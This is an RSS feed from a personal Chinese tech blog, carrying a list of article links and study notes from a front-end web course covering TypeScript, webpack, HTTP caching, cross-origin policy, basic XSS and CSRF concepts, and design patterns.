index.xml

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>3wのblog</title>
    <link>https://weivwang.github.io/</link>
    <description>Recent content on 3wのblog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Wed, 24 Nov 2021 22:17:14 +0800</lastBuildDate>
    
	<atom:link href="https://weivwang.github.io/index.xml" rel="self" type="application/rss+xml" />
    
    
    <item>
      <title>技术文章收集</title>
      <link>https://weivwang.github.io/studynotes/%E6%8A%80%E6%9C%AF%E6%96%87%E7%AB%A0%E6%94%B6%E9%9B%86/</link>
      <pubDate>Wed, 24 Nov 2021 22:17:14 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/%E6%8A%80%E6%9C%AF%E6%96%87%E7%AB%A0%E6%94%B6%E9%9B%86/</guid>
      <description>&lt;p&gt;WebRTC：https://mp.weixin.qq.com/s/VQwvyaitC1L8noIq5Bnwjw&lt;/p&gt;
&lt;p&gt;讲了WebRTC和NAT&lt;/p&gt;
&lt;p&gt;汇编语言：https://mp.weixin.qq.com/s?__biz=MzkwMDE1MzkwNQ==&amp;amp;mid=2247496045&amp;amp;idx=1&amp;amp;sn=74265846bffaa3ed01b6226ec47c7b11&amp;amp;source=41#wechat_redirect&lt;/p&gt;
&lt;p&gt;操作系统进程和线程：https://juejin.cn/post/6844904080393912327&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>腾讯文档&amp;武大前端菁英班笔记</title>
      <link>https://weivwang.github.io/studynotes/%E8%85%BE%E8%AE%AF%E6%96%87%E6%A1%A3-%E6%AD%A6%E5%A4%A7/</link>
      <pubDate>Sat, 20 Nov 2021 18:18:40 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/%E8%85%BE%E8%AE%AF%E6%96%87%E6%A1%A3-%E6%AD%A6%E5%A4%A7/</guid>
      <description>&lt;h1 id=&#34;腾讯文档-武大web前端&#34;&gt;腾讯文档-武大：web前端&lt;/h1&gt;
&lt;p&gt;##第一周：前端基础及ES6讲解&lt;/p&gt;
&lt;h3 id=&#34;前端三剑客&#34;&gt;前端三剑客&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;html：结构 。&lt;/p&gt;
&lt;p&gt;块：div，h1，p，header等；行内元素：span，input，img，a&lt;/p&gt;
&lt;p&gt;Html5: 提供了更加语义化的标签。&lt;/p&gt;
&lt;p&gt;&amp;lt;meta&amp;gt; 描述html元数据，定义页面作者，浏览器解析。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;css：外观&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;css选择器&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;盒模型&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flex&lt;/strong&gt;，栅格布局&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定位&lt;/strong&gt;：relative，absolute，fixed（相对浏览器窗口的固定位置）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;js：行为&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;函数&lt;/li&gt;
&lt;li&gt;对象&lt;/li&gt;
&lt;li&gt;闭包&lt;/li&gt;
&lt;li&gt;原型链&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/10/30/GP1iKmzwDvlWqLR.png&#34; alt=&#34;image-20211030103810153&#34;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DOM&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;第二周&#34;&gt;第二周&lt;/h2&gt;
&lt;h2 id=&#34;typescript&#34;&gt;TypeScript&lt;/h2&gt;
&lt;p&gt;TypeScript = Typed JavaScript at Any Scale&lt;/p&gt;
&lt;h3 id=&#34;typescript是什么&#34;&gt;TypeScript是什么&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;TypeScript&lt;/strong&gt; &lt;strong&gt;是&lt;/strong&gt; &lt;strong&gt;JavaScript&lt;/strong&gt; &lt;strong&gt;的严格超集&lt;/strong&gt;，类型是TS最核心的特性，TS适用于任何规模的项目&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JavaScript是解释类型语言，没有编译阶段，运行时进行类型检查&lt;/li&gt;
&lt;li&gt;TS运行前需要先编译为JS，编译阶段会进行类型检查，所以TS是静态类型&lt;/li&gt;
&lt;li&gt;TS是弱类型语言，和JS都允许隐式转换&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;符合最新ECMAScript标准&lt;/p&gt;
&lt;h3 id=&#34;优点&#34;&gt;优点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;TS类型定义和编译器的引入，能够让我们避免掉JS的很多错误&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在大型系统中，能够知道某个变量的类型定义是很有价值的。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;react优势&#34;&gt;React优势&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;组件化&lt;/li&gt;
&lt;li&gt;数据驱动：修改数据，组件重新渲染&lt;/li&gt;
&lt;li&gt;虚拟DOM：在需要的时候会渲染成真实DOM，结合&lt;strong&gt;Diff算法&lt;/strong&gt;来提升性能，支持跨平台渲染&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/06/TKrxas8FmQAnqV9.png&#34; alt=&#34;image-20211106103245624&#34;&gt;&lt;/p&gt;
&lt;p&gt;父节点，子节点也重新更新。叶子结点更新就只更新叶子结点。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;跨端渲染&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;npm&#34;&gt;NPM&lt;/h2&gt;
&lt;p&gt;Package.json：描述项目信息，依赖，版本，脚本等&lt;/p&gt;
&lt;p&gt;npm init：初始化项目，生成package.json文件&lt;/p&gt;
&lt;p&gt;Npm install：自动安装package.json下面等所有模块&lt;/p&gt;
&lt;p&gt;npm publish：发布自己的库到npmjs&lt;/p&gt;
&lt;h2 id=&#34;第三周&#34;&gt;第三周&lt;/h2&gt;
&lt;h3 id=&#34;构建工具&#34;&gt;构建工具&lt;/h3&gt;
&lt;p&gt;构建工具：将前端源代码自动转成js，html，css等&lt;/p&gt;
&lt;p&gt;比如：ES6 -&amp;gt; ES5&lt;/p&gt;
&lt;p&gt;JSX -&amp;gt;运行时js组件&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/20/v1uednkBODXgmFY.png&#34; alt=&#34;image-20211120100256903&#34;&gt;&lt;/p&gt;
&lt;p&gt;例子：&lt;/p&gt;
&lt;p&gt;html和js分离时，&lt;/p&gt;
&lt;p&gt;原来： html引用同域JS。&lt;/p&gt;
&lt;p&gt;现在CDN加载（跨域）&lt;/p&gt;
&lt;h3 id=&#34;构建工具的发展&#34;&gt;构建工具的发展&lt;/h3&gt;
&lt;p&gt;早期：seajs, requirejs(node.js)&lt;/p&gt;
&lt;p&gt;2011-2014: gulp（基于配置，流式）, grunt, webpack, browserify&lt;/p&gt;
&lt;p&gt;2015: rollup（解决webpack的一些问题，支持shaking）&lt;/p&gt;
&lt;p&gt;2017: parcel&lt;/p&gt;
&lt;p&gt;近两年：vite, snowpack（只用打包改动的代码）&lt;/p&gt;
&lt;p&gt;webpack社区活跃&lt;/p&gt;
&lt;h3 id=&#34;为什么webpack不是vite&#34;&gt;为什么webpack，不是vite&lt;/h3&gt;
&lt;p&gt;从使用广度，构建能力，使用场景，工具生态，webpack是最佳方案&lt;/p&gt;
&lt;p&gt;vite生态可能没有webpack成熟，有一些坑&lt;/p&gt;
&lt;h3 id=&#34;webpack&#34;&gt;webpack&lt;/h3&gt;
&lt;p&gt;一切皆模块，通过loader转换文件，plugin注入钩子实现&lt;/p&gt;
&lt;p&gt;各版本：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/20/LRStaP4XI7peqxn.png&#34; alt=&#34;image-20211120101517055&#34;&gt;&lt;/p&gt;
&lt;h4 id=&#34;基本使用&#34;&gt;基本使用&lt;/h4&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/maj8pNAzy7CvLhs.png&#34; alt=&#34;image-20211120101644649&#34;&gt;&lt;/p&gt;
&lt;p&gt;Mode:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Development: 不压缩，调试&lt;/li&gt;
&lt;li&gt;Production：压缩，开启优化选项&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Output :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Path: 输出文件路径&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;publicPath：配置发布到线上资源的URL前缀&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Plugin:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;比如HtmlWebpackPlugin&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Loader：webpack核心&lt;/p&gt;
&lt;p&gt;把一切文件看作模块，对不同类型的文件，进行不同处理&lt;/p&gt;
&lt;p&gt;laoder来扩展对不同文件的处理能力。loader是一个处理函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/20/SatmLoOpUsfeRET.png&#34; alt=&#34;image-20211120103621263&#34;&gt;&lt;/p&gt;
&lt;p&gt;读取匹配到的文件源码，进行转换，生成代码&lt;/p&gt;
&lt;h4 id=&#34;devserver&#34;&gt;devServer&lt;/h4&gt;
&lt;p&gt;提供http服务而不是本地文件预览&lt;/p&gt;
&lt;p&gt;监听文件变化并自动刷新网页&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/20/1dtYKmqxWPCkNo2.png&#34; alt=&#34;image-20211120105138440&#34;&gt;&lt;/p&gt;
&lt;p&gt;hot:true&lt;/p&gt;
&lt;p&gt;热更新：在网页不刷新情况下，将老的代码替换为新代码&lt;/p&gt;
&lt;h3 id=&#34;进阶使用&#34;&gt;进阶使用&lt;/h3&gt;
&lt;h4 id=&#34;es6配置&#34;&gt;ES6配置&lt;/h4&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/5LecXmMhiztQgCj.png&#34; alt=&#34;image-20211120105822869&#34;&gt;&lt;/p&gt;
&lt;h4 id=&#34;图片配置&#34;&gt;图片配置&lt;/h4&gt;
&lt;p&gt;构建中使用url-loader处理图片资源&lt;/p&gt;
&lt;p&gt;使用limit来限制图片大小&lt;/p&gt;
&lt;h4 id=&#34;页面代码加载优化方式&#34;&gt;页面代码加载优化方式&lt;/h4&gt;
&lt;p&gt;1、按需加载&lt;/p&gt;
&lt;p&gt;大型网站打开时加载全部代码，会导致页面加载缓慢，交互卡顿&lt;/p&gt;
&lt;p&gt;使用异步加载的方式，按需加载和使用&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/sAxdIBNMOcVPRpL.png&#34; alt=&#34;image-20211120112625848&#34;&gt;&lt;/p&gt;
&lt;p&gt;关键是await语句&lt;/p&gt;
&lt;p&gt;2、提取公共代码&lt;/p&gt;
&lt;p&gt;打包时会把公共部分打包在一个文件中&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/sAxdIBNMOcVPRpL.png&#34; alt=&#34;image-20211120113039580&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;http和https&#34;&gt;Http和https&lt;/h3&gt;
&lt;p&gt;usl中的fragment，方便定位页面元素&lt;/p&gt;
&lt;p&gt;http：超文本传输协议&lt;/p&gt;
&lt;p&gt;http报文分为请求报文和响应报文&lt;/p&gt;
&lt;p&gt;http请求方法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GET：从指定资源中请求数据。没有副作用，不会更新资源&lt;/li&gt;
&lt;li&gt;POST：用于将数据发送到服务器以创建或更新资源（一般是非幂等）&lt;/li&gt;
&lt;li&gt;PUT：和post一样，一般是幂等等&lt;/li&gt;
&lt;li&gt;delete&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;get和post区别&#34;&gt;GET和POST区别&lt;/h4&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/20/zl5xBq8iwkQLXnf.png&#34; alt=&#34;image-20211120141948799&#34;&gt;&lt;/p&gt;
&lt;h4 id=&#34;http状态码&#34;&gt;http状态码&lt;/h4&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/5dpBuZ1SI8tfVz2.png&#34; alt=&#34;image-20211120142308910&#34;&gt;&lt;/p&gt;
&lt;h4 id=&#34;思考为什么http是无连接无状态&#34;&gt;思考：为什么http是无连接无状态？&lt;/h4&gt;
&lt;p&gt;前提：基于tcp&lt;/p&gt;
&lt;p&gt;减轻服务端压力，不用保持链接状态&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/I1o5dFx8VMtlBYi.png&#34; alt=&#34;image-20211120142853725&#34;&gt;&lt;/p&gt;
&lt;p&gt;Http1.1的优化&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/20/5a4ZcelGKJhrLBb.png&#34; alt=&#34;image-20211120143049907&#34;&gt;&lt;/p&gt;
&lt;h4 id=&#34;https&#34;&gt;Https&lt;/h4&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/UKZrQLjbTz6MoNu.png&#34; alt=&#34;image-20211120143700840&#34;&gt;&lt;/p&gt;
&lt;h4 id=&#34;思考服务器怎么向客户端推送消息&#34;&gt;思考：服务器怎么向客户端推送消息&lt;/h4&gt;
&lt;p&gt;短轮询&lt;/p&gt;
&lt;p&gt;指在特定的的时间间隔（如每1秒），由浏览器对服务器发出HTTP request，然后由服务器返回最新的数据给客户端的浏览器。&lt;/p&gt;
&lt;p&gt;请求中有很多是无用的，浪费带宽和服务器资源；响应的结果没有顺序（因为是异步请求，当发送的请求没有返回结果的时候，后面的请求又被发送。而此时如果后面的请求比前面的请 求要先返回结果，那么当前面的请求返回结果数据时已经是过时无效的数据了）&lt;/p&gt;
&lt;p&gt;长轮询&lt;/p&gt;
&lt;p&gt;客户端向服务器发送Ajax请求，服务器接到请求后hold住连接，直到有新消息才返回响应信息并关闭连接，客户端处理完响应信息后再向服务器发送新的请求。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/5HBktN4mjhixd18.png&#34; alt=&#34;image-20211120144400146&#34;&gt;&lt;/p&gt;
&lt;p&gt;缺点：服务器端一直保持链接，占用资源&lt;/p&gt;
&lt;p&gt;解决方法：SSE， server-sent event&lt;/p&gt;
&lt;p&gt;web端即时通讯技术&lt;/p&gt;
&lt;p&gt;websocket：html5新技术&lt;/p&gt;
&lt;p&gt;腾讯文档：你写一个数据在表格中，其他人马上能看到变化。使用websocket，服务器端广播&lt;/p&gt;
&lt;h3 id=&#34;浏览器跨域问题&#34;&gt;浏览器跨域问题&lt;/h3&gt;
&lt;h4 id=&#34;同源策略&#34;&gt;同源策略&lt;/h4&gt;
&lt;p&gt;同源：只有 同协议，同域名，同端口，才能叫同源&lt;/p&gt;
&lt;h4 id=&#34;为什么同源&#34;&gt;为什么同源？&lt;/h4&gt;
&lt;p&gt;cookie和session 安全问题&lt;/p&gt;
&lt;p&gt;cookie相当于一个工牌或者学生卡，别人拿到了也能刷&lt;/p&gt;
&lt;p&gt;访问了一个网站之后又访问其他网站，其他网站如果读取第一个网站的cookie怎么办: 同源&lt;/p&gt;
&lt;h4 id=&#34;如何规避同源策略&#34;&gt;如何规避同源策略&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;cookie：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;两个网站一级域名相同，第二级域名不同，可以设置document.domain共享cookie&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;iframe同源策略限制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;同源策略下，网页不同，不能拿到另一个网页的dom&lt;/p&gt;
&lt;p&gt;解决：h5引入全新API：跨文档通信API: cross-document message&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AJAX方法&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;服务器代理跨域：由服务器端来拿另一个网站的策略&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;JSONP：添加script标签&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;终极解决方案&lt;/strong&gt;：CROS， w3c标准，是跨源ajax请求的根本解决方法&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;相比于jsonp只能发get，cros支持任何类型请求&lt;/li&gt;
&lt;li&gt;浏览器自动完成，不需要用户参与&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;缓存&#34;&gt;缓存&lt;/h3&gt;
&lt;h4 id=&#34;浏览器缓存&#34;&gt;浏览器缓存&lt;/h4&gt;
&lt;p&gt;浏览器获取的http资源，保存到本地磁盘&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/ck5RjW3H4fbXelL.png&#34; alt=&#34;image-20211120151233916&#34;&gt;&lt;/p&gt;
&lt;p&gt;为什么缓存：&lt;/p&gt;
&lt;p&gt;减轻服务器端压力，页面加载速度更快&lt;/p&gt;
&lt;h4 id=&#34;缓存分类&#34;&gt;缓存分类&lt;/h4&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/20/R6E18qYlDVLGMgu.png&#34; alt=&#34;image-20211120151344608&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;强缓存&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Expires: http1.0产物，过期了，存在是为了兼容性&lt;/li&gt;
&lt;li&gt;Cache- Control: http1.1产物&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;协商缓存&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Etag和If-none-match&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/20/HjsJiKQqh3CynwU.png&#34; alt=&#34;image-20211120151832396&#34;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;last-modify和if-modify-since&lt;/p&gt;
&lt;p&gt;Last-modify：只记录时间&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;强缓存和协商缓存区别&#34;&gt;强缓存和协商缓存区别&lt;/h4&gt;
&lt;p&gt;区别在于需不需要向服务器请求&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/20/wGeEasPrfvuoLTO.png&#34; alt=&#34;image-20211120152725402&#34;&gt;&lt;/p&gt;
&lt;p&gt;缓存过程&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/Gm9U4O3Q5r2ybdD.png&#34; alt=&#34;image-20211120152618378&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;网络攻击&#34;&gt;网络攻击&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;XSS&lt;/p&gt;
&lt;p&gt;Cross Site Script跨站脚本，为了和css区分叫xss&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;存储型XSS：黑客将恶意代码发向服务器，服务器端存储。用户访问界面拿到的是有黑客的恶意代码的页面&lt;/li&gt;
&lt;li&gt;反射型XSS&lt;/li&gt;
&lt;li&gt;基于DOM型的XSS&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;预防XSS：对输入做验证&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CSRF&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/20/yha9spVJTF4Rigq.png&#34; alt=&#34;image-20211120154042064&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/20/gvWyxtem2rJqafQ.png&#34; alt=&#34;image-20211120154204533&#34;&gt;&lt;/p&gt;
&lt;p&gt;重点是token验证&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;第四周&#34;&gt;第四周&lt;/h2&gt;
&lt;h3 id=&#34;前端工程化和编码规范&#34;&gt;前端工程化和编码规范&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;目录结构&lt;/li&gt;
&lt;li&gt;文件命名规范&lt;/li&gt;
&lt;li&gt;代码规范：eslint,prettier&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;​	为什么有了eslint还要用prettier？&lt;/p&gt;
&lt;p&gt;​		eslint发现代码错误&lt;/p&gt;
&lt;p&gt;​		prettier是代码格式化器，不关心代码逻辑&lt;/p&gt;
&lt;p&gt;​		husky：&lt;/p&gt;
&lt;p&gt;​				解决git commit有时候忘记eslint或prettier&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/InwVsxga6GWQMAp.png&#34; alt=&#34;image-20211127101536124&#34;&gt;&lt;/p&gt;
&lt;p&gt;Lint staged ： 只检查当前改动的eslint，防止把别人的错误检查出来，却要自己改&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;提交规范&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;​	commitlint&lt;/p&gt;
&lt;p&gt;​	commitizen：可以自己选改动的类型&lt;/p&gt;
&lt;h3 id=&#34;jest单测&#34;&gt;Jest单测&lt;/h3&gt;
&lt;p&gt;为什么单测：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;更少的问题排查时间
&lt;ul&gt;
&lt;li&gt;代码在他的生命周期里实际上不会一成不变&lt;/li&gt;
&lt;li&gt;经过测试的代码提交后出现问题的可能性更小&lt;/li&gt;
&lt;li&gt;让整个团队受益&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;更准确的文档
&lt;ul&gt;
&lt;li&gt;维护文档非常痛苦，且容易过时&lt;/li&gt;
&lt;li&gt;想知道一段代码的调用方式，可以直接看测试&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;更方便的代码审核&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/M35Ty1Omv4tDnaR.png&#34; alt=&#34;image-20211127105746414&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;设计原则&#34;&gt;设计原则&lt;/h3&gt;
&lt;p&gt;所有设计模式的实现都遵循一条原则，即“找出程序变化的情况”&lt;/p&gt;
&lt;h4 id=&#34;单例模式&#34;&gt;单例模式&lt;/h4&gt;
&lt;p&gt;保证一个类中只有一个实例&lt;/p&gt;
&lt;p&gt;在js中全局变量常常被当成单例模式，var a = {} ;&lt;/p&gt;
&lt;p&gt;但是同意造成命名空间污染&lt;/p&gt;
&lt;p&gt;我们需要尽量减少全局变量的使用&lt;/p&gt;
&lt;p&gt;使用闭包封装私有变量：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;user&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt;(){
	&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;userInfo&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;UserInfo&lt;/span&gt;();
	&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;{
		&lt;span style=&#34;color:#a6e22e&#34;&gt;getUserInfo&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt;(){
			&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;userInfo&lt;/span&gt;;
		}
	}
})
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;怎么避免每次都new一个UserInfo？&lt;/p&gt;
&lt;p&gt;使用惰性单例：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;user&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt;(){
	&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;useInfo&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;;
	&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;{
		&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;useInfo&lt;/span&gt;){
			&lt;span style=&#34;color:#a6e22e&#34;&gt;useInfo&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;UseInfo&lt;/span&gt;();
		}
    &lt;span style=&#34;color:#a6e22e&#34;&gt;getUseInfo&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt;(){
				&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;useInfo&lt;/span&gt;;
			}
	}
})
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;发布-订阅模式&#34;&gt;发布-订阅模式&lt;/h4&gt;
&lt;p&gt;定义对象间一对多的依赖关系，当一个对象的状态发生变化时，所有依赖于它的对象都将得到通知&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/LJvbqyolZuHmMzs.png&#34; alt=&#34;image-20211127114412606&#34;&gt;&lt;/p&gt;
&lt;p&gt;加一个中介：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/27/K2maZGV1tkHPgEo.png&#34; alt=&#34;image-20211127114726545&#34;&gt;&lt;/p&gt;
&lt;p&gt;问题在于：模块之间的联系被隐藏到背后&lt;/p&gt;
&lt;h4 id=&#34;享元模式&#34;&gt;享元模式&lt;/h4&gt;
&lt;h4 id=&#34;装饰者模式&#34;&gt;装饰者模式&lt;/h4&gt;
&lt;p&gt;允许向一个现有的对象添加新的功能，同时又不改变其结构&lt;/p&gt;
&lt;p&gt;思考一个游戏升级问题，A飞机升级时增加了技能，如何设计？&lt;/p&gt;
&lt;p&gt;最简单的方法：继承，问题：数量多，强耦合&lt;/p&gt;
&lt;p&gt;装饰器模式。&lt;/p&gt;
&lt;h4 id=&#34;工厂模式&#34;&gt;工厂模式&lt;/h4&gt;
&lt;p&gt;提供一种创建对象的方式&lt;/p&gt;
&lt;h3 id=&#34;设计原则-1&#34;&gt;设计原则&lt;/h3&gt;
&lt;p&gt;所有的设计原则的目的都是让程序低耦合，高复用，高内聚，易扩展，易维护&lt;/p&gt;
&lt;h4 id=&#34;单一职责原则&#34;&gt;单一职责原则&lt;/h4&gt;
&lt;p&gt;一个对象（方法）只做一件事&lt;/p&gt;
&lt;p&gt;并不是所有的职责都应该一一分离&lt;/p&gt;
&lt;p&gt;srp原则的优点是降低了单个类或对象的复杂度，缺点是增加了代码编写的复杂度&lt;/p&gt;
&lt;h4 id=&#34;开闭原则&#34;&gt;开闭原则&lt;/h4&gt;
&lt;p&gt;软件实体（类，模块，函数）等应该是可以扩展的，但是不可修改&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对软件测试友好，不会破环原有的测试程序&lt;/li&gt;
&lt;li&gt;改动代码是一个危险的行为，经常不知不觉引发了其他bug&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过封装变化的方式，把系统中稳定不变的部分和容易变化的部分隔离开来&lt;/p&gt;
